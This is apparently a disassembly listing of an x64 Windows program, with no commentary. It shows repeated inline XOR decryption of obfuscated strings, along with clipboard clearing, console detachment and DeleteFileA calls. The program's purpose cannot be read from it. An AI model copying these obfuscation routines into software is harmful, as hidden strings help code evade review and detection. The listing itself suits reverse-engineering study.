cmp qword [rbp + 0x3f0], 0xf
cmova rdi, qword [rbp + 0x3d8]
mov dword [rsp + 0x40], 0xc6828fd7
mov word [rsp + 0x44], 0xf00
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x294
mov eax, dword [rdx + rcx]
mov ebx, 0x5e8
test r13b, al
jne 0x1400061b8
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 6], 0x16d
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
movzx eax, word [rsp + 0x44]
mov word [rbx + rcx + 4], ax
lea rcx, [0x14003dba4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 7], r14b
je 0x1400061f7
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0xbd6d7775a7dde3a3
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 7
jb 0x1400061d0
mov byte [r9 + 7], r14b
mov rdx, rdi
mov rcx, r9
call fcn.140002488
test eax, eax
jne 0x140006268
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x2e8]
call fcn.14000f418
mov rbx, rax
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x308]
call fcn.14000f418
nop
mov r8d, r12d
mov rdx, rbx
mov rcx, rax
call fcn.14000354c
lea rcx, [rbp + 0x3d8]
cmp qword [rbp + 0x3f0], 0xf
cmova rcx, qword [rbp + 0x3d8]
call fcn.140002380
jmp 0x14000626d
mov rax, qword [rsp + 0x78]
mov qword [rbp - 0x78], rax
mov dword [rsp + 0x40], 0x61400147
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x4bc
mov eax, dword [rdx + rcx]
mov ebx, 0x348
test r13b, al
jne 0x1400062b8
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 4], 0x12b
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003db6c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 5], r14b
je 0x1400062ff
mov r8, r14
movabs r15, 0x7b17772b0f296369
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 5
jb 0x1400062da
mov byte [r9 + 5], r14b
mov r15, qword [rsp + 0x60]
mov rdx, r9
lea rcx, [rbp + 0x918]
call fcn.14000f3d4
mov rdi, rax
call fcn.14001b074
mov edx, eax
lea rcx, [rbp + 0x8f8]
call fcn.140001e60
mov rsi, rax
mov word [rsp + 0x40], 0xf1a
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x2bc
mov ecx, dword [rax + rdx]
mov ebx, 0x7a0
test r13b, cl
jne 0x14000636f
or ecx, r13d
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 2], 0x129
movzx eax, word [rsp + 0x40]
mov word [rbx + rdx], ax
lea rcx, [0x14003db88]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x1400063b1
mov r8, r14
movabs r10, 0x7b17772b0f296369
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 3
jb 0x140006391
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0x8d8]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x8b8]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x898]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x878]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.1400115ec
nop
lea rcx, [rbp + 0x878]
call fcn.14000f378
nop
lea rcx, [rbp + 0x898]
call fcn.14000f378
nop
lea rcx, [rbp + 0x8b8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x8d8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x8f8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x918]
call fcn.14000f378
lea rcx, [rbp + 0x3b8]
cmp qword [rbp + 0x3d0], 0xf
cmova rcx, qword [rbp + 0x3b8]
mov edx, r13d
call fcn.140002e20
cmp eax, 0xb7
jne 0x1400064e2
lea rax, [rbp + 8]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 8]
call fcn.14000f418
mov rbx, rax
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x1a8]
call fcn.14000f418
nop
mov r8d, r12d
mov rdx, rbx
mov rcx, rax
call fcn.14000354c
lea rcx, [rbp + 0x3b8]
cmp qword [rbp + 0x3d0], 0xf
cmova rcx, qword [rbp + 0x3b8]
call fcn.140002380
mov r13, rax
jmp 0x1400064e7
mov r13, qword [rsp + 0x78]
mov qword [rsp + 0x70], r13
mov dword [rsp + 0x40], 0xc7081345
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x5d8
mov eax, dword [rdx + rcx]
mov ebx, 0x4d0
test al, 1
jne 0x140006532
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 4], 0x1a9
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003db34]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
movabs rsi, 0xcf01bfa9a961716b
cmp byte [rbx + 5], r14b
je 0x140006571
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rsi
shr rdx, cl
xor byte [r8 + rbx], dl
inc r8
cmp r8, 5
jb 0x140006551
mov byte [rbx + 5], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4c8], xmm1
mov rcx, rbx
call fcn.14001f1b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x4b8]
call fcn.140011aa8
nop
call fcn.14001b074
mov edx, eax
lea rcx, [rbp + 0x598]
call fcn.140001e60
mov rdi, rax
mov word [rsp + 0x40], 0x1d08
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x4c0
mov ecx, dword [rax + rdx]
mov ebx, 0x8a4
test cl, 1
jne 0x1400065ff
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 2], 0x161
movzx eax, word [rsp + 0x40]
mov word [rbx + rdx], ax
lea rcx, [0x14003db50]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 3], r14b
je 0x140006634
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rsi
shr rdx, cl
xor byte [r8 + rbx], dl
inc r8
cmp r8, 3
jb 0x140006614
mov byte [rbx + 3], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4e8], xmm1
mov rcx, rbx
call fcn.14001f1b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x4d8]
call fcn.140011aa8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
lea rcx, [rbp + 0x1310]
call fcn.14001f1b0
mov r8, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x498]
call fcn.140011aa8
nop
lea r8, [rbp + 0x4d8]
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x578]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x558]
call fcn.1400115ec
nop
lea r8, [rbp + 0x4b8]
mov rdx, rax
lea rcx, [rbp + 0x398]
call fcn.1400115ec
nop
mov rdx, qword [rbp + 0x570]
mov ebx, 0x1000
cmp rdx, 0xf
jbe 0x140006723
inc rdx
mov rcx, qword [rbp + 0x558]
mov rax, rcx
cmp rdx, rbx
jb 0x14000671e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1d1
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x568], xmm0
mov byte [rbp + 0x558], r14b
mov rdx, qword [rbp + 0x590]
cmp rdx, 0xf
jbe 0x140006777
inc rdx
mov rcx, qword [rbp + 0x578]
mov rax, rcx
cmp rdx, rbx
jb 0x140006772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1d7
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x588], xmm0
mov byte [rbp + 0x578], r14b
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x1400067cb
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, rbx
jb 0x1400067c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1dd
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x4a8], xmm0
mov byte [rbp + 0x498], r14b
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x14000681f
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, rbx
jb 0x14000681a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1e3
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x4e8], xmm0
mov byte [rbp + 0x4d8], r14b
mov rdx, qword [rbp + 0x5b0]
cmp rdx, 0xf
jbe 0x140006873
inc rdx
mov rcx, qword [rbp + 0x598]
mov rax, rcx
cmp rdx, rbx
jb 0x14000686e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1e9
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x5a8], xmm0
mov byte [rbp + 0x598], r14b
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 0xf
jbe 0x1400068c7
inc rdx
mov rcx, qword [rbp + 0x4b8]
mov rax, rcx
cmp rdx, rbx
jb 0x1400068c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1ef
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x4c8], xmm0
mov byte [rbp + 0x4b8], r14b
lea rcx, [rbp + 0x398]
cmp qword [rbp + 0x3b0], 0xf
cmova rcx, qword [rbp + 0x398]
xor edx, edx
call fcn.140003164
test eax, eax
jne 0x140006965
lea rax, [rbp + 0x328]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x328]
call fcn.14000f418
mov rbx, rax
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x348]
call fcn.14000f418
nop
mov r8d, r12d
mov rdx, rbx
mov rcx, rax
call fcn.14000354c
lea rcx, [rbp + 0x398]
cmp qword [rbp + 0x3b0], 0xf
cmova rcx, qword [rbp + 0x398]
call fcn.140002380
mov rsi, rax
jmp 0x14000696a
mov rsi, qword [rsp + 0x78]
mov qword [rsp + 0x68], rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140006987
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, 1
cmp dword [rsp + 0x48], 3
jle 0x140006afe
mov dword [rsp + 0x40], 0x776e2faa
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0xab8
mov eax, dword [rdx + rcx]
mov ebx, 0x3a8
test r12b, al
jne 0x1400069f4
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rbx + rcx + 4], r12b
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003db1c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 4], r14b
je 0x140006a33
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x75c7aff1770f4187
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r12
cmp r8, 4
jb 0x140006a0c
mov byte [r9 + 4], r14b
mov rdx, r9
mov rcx, qword [r15 + 0x18]
call fcn.14001eb00
test eax, eax
jne 0x140006afe
call fcn.14000c27c
cmp byte [rax + 0x1f], r14b
je 0x140006a7c
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x69814d0383e797c5
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r12
cmp r8, 0x1f
jb 0x140006a55
mov byte [rax + 0x1f], r14b
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0x1750]
call fcn.14001eb00
test eax, eax
jne 0x140006d8a
call fcn.14000c348
cmp byte [rax + 4], r14b
je 0x140006ae3
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x3597a73f01bb97a5
shr rdx, cl
xor byte [rax + r8], dl
add r8, r12
cmp r8, 4
jb 0x140006abc
mov byte [rax + 4], r14b
mov rcx, rax
call fcn.14001e9a8
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x140006d8a
mov dword [rsp + 0x40], 0x93651149
mov word [rsp + 0x44], 0x5fb6
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x6b0
mov eax, dword [rdx + rcx]
mov ebx, 0xb40
test r12b, al
jne 0x140006b56
or eax, r12d
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 6], 0x169
mov eax, dword [rsp + 0x40]
mov dword [rcx + rbx], eax
movzx eax, word [rsp + 0x44]
mov word [rcx + rbx + 4], ax
lea rcx, [0x14003daa4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 7], r14b
je 0x140006b9d
mov r8, r14
movabs r15, 0xd36933c3fd5b2369
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r12
cmp r8, 7
jb 0x140006b78
mov byte [r9 + 7], r14b
mov r15, qword [rsp + 0x60]
mov rdx, r9
lea rcx, [rbp + 0x998]
call fcn.14000f3d4
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r9d, eax
lea r10, [rbp + 0x130d]
sub r10, r12
mov eax, 0xcccccccd
mul r9d
mov r8d, edx
shr r8d, 3
mov cl, r8b
shl cl, 2
lea edx, [rcx + r8]
add dl, dl
sub r9b, dl
add r9b, 0x30
mov byte [r10], r9b
mov r9d, r8d
test r8d, r8d
jne 0x140006bbf
lea r8, [rbp + 0x130d]
mov rdx, r10
lea rcx, [rbp + 0x5f8]
call fcn.140012c88
nop
movdqa xmm0, xmmword [str._bS_]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3f0
mov eax, dword [rdx + rcx]
mov ebx, 0x530
test r12b, al
jne 0x140006c67
or eax, r12d
mov dword [rdx + rcx], eax
lea rax, [rcx + rbx]
mov byte [rax + 0x10], r12b
lea rcx, [rax + 0xf]
lea rdx, [rbp - 0x21]
cmp rax, rdx
ja 0x140006c56
lea rdx, [rbp - 0x30]
cmp rcx, rdx
jb 0x140006c56
movdqu xmmword [rax], xmm0
jmp 0x140006c5a
movdqu xmmword [rax], xmm0
lea rcx, [0x14003dac4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0x10], r14b
je 0x140006ca9
mov r8, r14
movabs r10, 0xd36933c3fd5b2369
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r12
cmp r8, 0x10
jb 0x140006c89
mov byte [r9 + 0x10], r14b
mov rdx, r9
lea rcx, [rbp + 0x978]
call fcn.14000f3d4
nop
lea r8, [rbp + 0x5f8]
mov rdx, rax
lea rcx, [rbp + 0x958]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x938]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x140006cec
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e9a8
mov ebx, eax
lea rcx, [rbp + 0x938]
call fcn.14000f378
nop
lea rcx, [rbp + 0x958]
call fcn.14000f378
nop
lea rcx, [rbp + 0x978]
call fcn.14000f378
nop
lea rcx, [rbp + 0x5f8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x998]
call fcn.14000f378
test ebx, ebx
jne 0x14000c088
call fcn.14000c458
cmp byte [rax + 0x18], r14b
je 0x140006d73
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0xb5ebe371a37157dd
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r12
cmp r8, 0x18
jb 0x140006d4c
mov byte [rax + 0x18], r14b
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov edx, r12d
lea rcx, [0x140002090]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
cmp dword [rsp + 0x48], 4
jle 0x140006e45
call fcn.14000c4f4
cmp byte [rax + 5], r14b
je 0x140006dda
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x29ff8fad7d41310f
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r12
cmp r8, 5
jb 0x140006db3
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 0x20]
call fcn.14001eb00
test eax, eax
jne 0x140006e45
call fcn.14000c558
cmp byte [rax + 0xc], r14b
je 0x140006e1f
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x95fb1591891db545
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r12
cmp r8, 0xc
jb 0x140006df8
mov byte [rax + 0xc], r14b
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
xor edx, edx
lea rcx, [0x140002090]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [rsp + 0x40], 0xbbcc58f9
mov word [rsp + 0x44], 0x8f42
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x834
mov eax, dword [rdx + rcx]
mov ebx, 0x20c
test r12b, al
jne 0x140006eb7
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 6], r12b
mov eax, dword [rsp + 0x40]
mov dword [rcx + rbx], eax
movzx eax, word [rsp + 0x44]
mov word [rcx + rbx + 4], ax
lea rcx, [0x14003d9c4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, rbx
movabs r9, 0x1d038f45cfbf69d9
cmp byte [r13 + 6], r14b
je 0x140006ef9
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + r13], dl
add r8, r12
cmp r8, 6
jb 0x140006ed9
mov byte [r13 + 6], r14b
mov word [rsp + 0x40], 0x69e3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0xb4c
mov eax, dword [rdx + rcx]
mov ebx, 0x910
test r12b, al
jne 0x140006f49
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d9e0]
call fcn.140014440
nop
movabs r9, 0x1d038f45cfbf69d9
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 2], r14b
je 0x140006f81
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rsi], dl
add r8, r12
cmp r8, 2
jb 0x140006f61
mov byte [rsi + 2], r14b
mov word [rsp + 0x40], 0x69e3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x9ac
mov eax, dword [rdx + rcx]
mov ebx, 0x698
test r12b, al
jne 0x140006fc7
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d9f8]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi + 2], r14b
je 0x140007009
mov r8, r14
movabs r9, 0x1d038f45cfbf69d9
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rdi], dl
add r8, r12
cmp r8, 2
jb 0x140006fe9
mov byte [rdi + 2], r14b
mov word [rsp + 0x40], 0x69e3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0xa10
mov eax, dword [rdx + rcx]
mov ebx, 0xa38
test r12b, al
jne 0x14000704f
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003da10]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 2], r14b
je 0x140007093
mov r8, r14
movabs r15, 0x1d038f45cfbf69d9
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + rbx], dl
add r8, r12
cmp r8, 2
jb 0x14000706e
mov byte [rbx + 2], r14b
mov r15, qword [rsp + 0x60]
movzx edx, word [rbp + 0x370]
lea rcx, [0x140432280]
call fcn.14000f140
mov rcx, rax
mov rdx, rbx
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x372]
call fcn.14000f140
mov rcx, rax
mov rdx, rdi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x374]
call fcn.14000f140
mov rcx, rax
mov rdx, rsi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x376]
call fcn.14000f140
mov rcx, rax
mov rdx, r13
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [rsp + 0x40], 0x3b83a5cb
mov word [rsp + 0x44], 0x3fc2
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x69c
mov eax, dword [rdx + rcx]
mov ebx, 0xb2c
test r12b, al
jne 0x140007179
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 6], r12b
mov eax, dword [rsp + 0x40]
mov dword [rcx + rbx], eax
movzx eax, word [rsp + 0x44]
mov word [rcx + rbx + 4], ax
lea rcx, [0x14003d960]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, rbx
movabs r9, 0xd5953fc55fed97eb
cmp byte [r13 + 6], r14b
je 0x1400071bb
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + r13], dl
add r8, r12
cmp r8, 6
jb 0x14000719b
mov byte [r13 + 6], r14b
mov word [rsp + 0x40], 0x97d1
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x7ac
mov eax, dword [rdx + rcx]
mov ebx, 0x824
test r12b, al
jne 0x14000720b
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d97c]
call fcn.140014440
nop
movabs r9, 0xd5953fc55fed97eb
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 2], r14b
je 0x140007243
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rsi], dl
add r8, r12
cmp r8, 2
jb 0x140007223
mov byte [rsi + 2], r14b
mov word [rsp + 0x40], 0x97d1
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x374
mov eax, dword [rdx + rcx]
mov ebx, 0x848
test r12b, al
jne 0x140007289
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d994]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi + 2], r14b
je 0x1400072cb
mov r8, r14
movabs r9, 0xd5953fc55fed97eb
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [rdi + r8], dl
add r8, r12
cmp r8, 2
jb 0x1400072ab
mov byte [rdi + 2], r14b
mov word [rsp + 0x40], 0x97d1
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x760
mov eax, dword [rdx + rcx]
mov ebx, 0x460
test r12b, al
jne 0x140007311
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d9ac]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 2], r14b
je 0x140007355
mov r8, r14
movabs r15, 0xd5953fc55fed97eb
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [rbx + r8], dl
add r8, r12
cmp r8, 2
jb 0x140007330
mov byte [rbx + 2], r14b
mov r15, qword [rsp + 0x60]
movzx edx, word [rbp + 0x370]
lea rcx, [0x140432280]
call fcn.14000f140
mov rcx, rax
mov rdx, rbx
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x372]
call fcn.14000f140
mov rcx, rax
mov rdx, rdi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x374]
call fcn.14000f140
mov rcx, rax
mov rdx, rsi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x376]
call fcn.14000f140
mov rcx, rax
mov rdx, r13
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x28]
call fcn.14000f418
mov rbx, rax
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x48]
call fcn.14000f418
nop
mov rdx, rbx
mov rcx, rax
call fcn.140003a60
lea rcx, [rbp + 0x3f8]
cmp qword [rbp + 0x410], 0xf
cmova rcx, qword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r13d, 0x7d0
mov r8d, r13d
xor edx, edx
xor ecx, ecx
call fcn.140002660
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x68]
call fcn.14000f418
mov rcx, rax
call fcn.1400027f0
mov r8d, r13d
xor edx, edx
xor ecx, ecx
call fcn.140002660
lea rcx, [rbp + 0x378]
cmp qword [rbp + 0x390], 0xf
cmova rcx, qword [rbp + 0x378]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [rsp + 0x40], 0x3585aaf7
mov word [rsp + 0x44], 0x63de
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x820
mov eax, dword [rdx + rcx]
mov ebx, 0x73c
test r12b, al
jne 0x1400074ed
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 6], r12b
mov eax, dword [rsp + 0x40]
mov dword [rcx + rbx], eax
movzx eax, word [rsp + 0x44]
mov word [rcx + rbx + 4], ax
lea rcx, [0x14003d8fc]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, rbx
movabs r9, 0x34f63d951f799d7
cmp byte [r13 + 6], r14b
je 0x14000752f
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + r13], dl
add r8, r12
cmp r8, 6
jb 0x14000750f
mov byte [r13 + 6], r14b
mov word [rsp + 0x40], 0x99ed
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0xa80
mov eax, dword [rdx + rcx]
mov ebx, 0x8fc
test r12b, al
jne 0x14000757f
or eax, r12d
